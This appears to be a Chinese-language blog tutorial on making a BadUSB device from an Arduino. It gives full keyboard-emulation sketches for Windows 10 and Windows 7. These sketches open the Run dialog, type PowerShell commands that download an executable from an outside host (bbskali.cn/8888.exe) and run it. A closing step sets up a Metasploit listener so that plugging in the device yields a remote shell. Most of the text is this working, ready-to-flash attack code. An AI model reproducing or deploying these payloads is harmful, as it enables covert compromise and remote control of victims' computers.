准备

• badusb

• Arduino

  下载软件

  点击下载

  运行软件

  

在工具菜单中 选择，选择badusb的端口和开发版。

注入代码

windows10系统

#include 
void setup() {
Keyboard.begin();//开始键盘通讯
delay(1000);//延时
Keyboard.press(KEY_LEFT_GUI);//win键
delay(500);
Keyboard.press('r');//r键
delay(500);
Keyboard.release(KEY_LEFT_GUI);
Keyboard.release('r');
Keyboard.press(KEY_CAPS_LOCK);
Keyboard.release(KEY_CAPS_LOCK);
delay(500);
Keyboard.println("powershell -Command $clnt = new-object System.Net.WebClient;$url= 'https://bbskali.cn/8888.exe';$file = ' %HOMEPATH%\\windows.exe ';$clnt.DownloadFile($url,$file);%HOMEPATH%\\windows.exe;");
Keyboard.press(KEY_RETURN);
Keyboard.release(KEY_RETURN);
Keyboard.press(KEY_CAPS_LOCK);
Keyboard.release(KEY_CAPS_LOCK);

}
 
void loop()//循环
{
}

windows7系统

#include 
void setup() {//初始化
  Keyboard.begin();//开始键盘通讯 
  delay(5000);//延时
  Keyboard.press(KEY_LEFT_GUI);//win键 
  delay(500); 
  Keyboard.press('r');//r键 
  delay(500); 
  Keyboard.release(KEY_LEFT_GUI);
  Keyboard.release('r');
  delay(500); 
  Keyboard.press(KEY_CAPS_LOCK);
  Keyboard.release(KEY_CAPS_LOCK);
  Keyboard.println("CMD.EXE /t:01 /k MODE con: cols=16 lines=2");
  delay(1000);
  Keyboard.println("POWERSHELL -cOMMAND $CLNT = NEW-OBJECT sYSTEM.nET.wEBcLIENT;$URL= 'https://bbskali.cn/8888.exe';$FILE = ' c:\\X.EXE ';$CLNT.dOWNLOADfILE($URL,$FILE);");
  delay(3000);
  Keyboard.println("C:\\X.EXE&EXIT");
  Keyboard.press(KEY_CAPS_LOCK);
  Keyboard.release(KEY_CAPS_LOCK);
  Keyboard.end();//结束键盘通讯 
}
void loop()//循环
{
}

其他代码

传送门

编译上传

成功如下：

配置监听

在msf中我们配置参数，插入badusb即可得到shell,需要注意的是，本代码仅支持win10对于win7和xp由于不能直接用powershell下载，所以以上代码不能实现。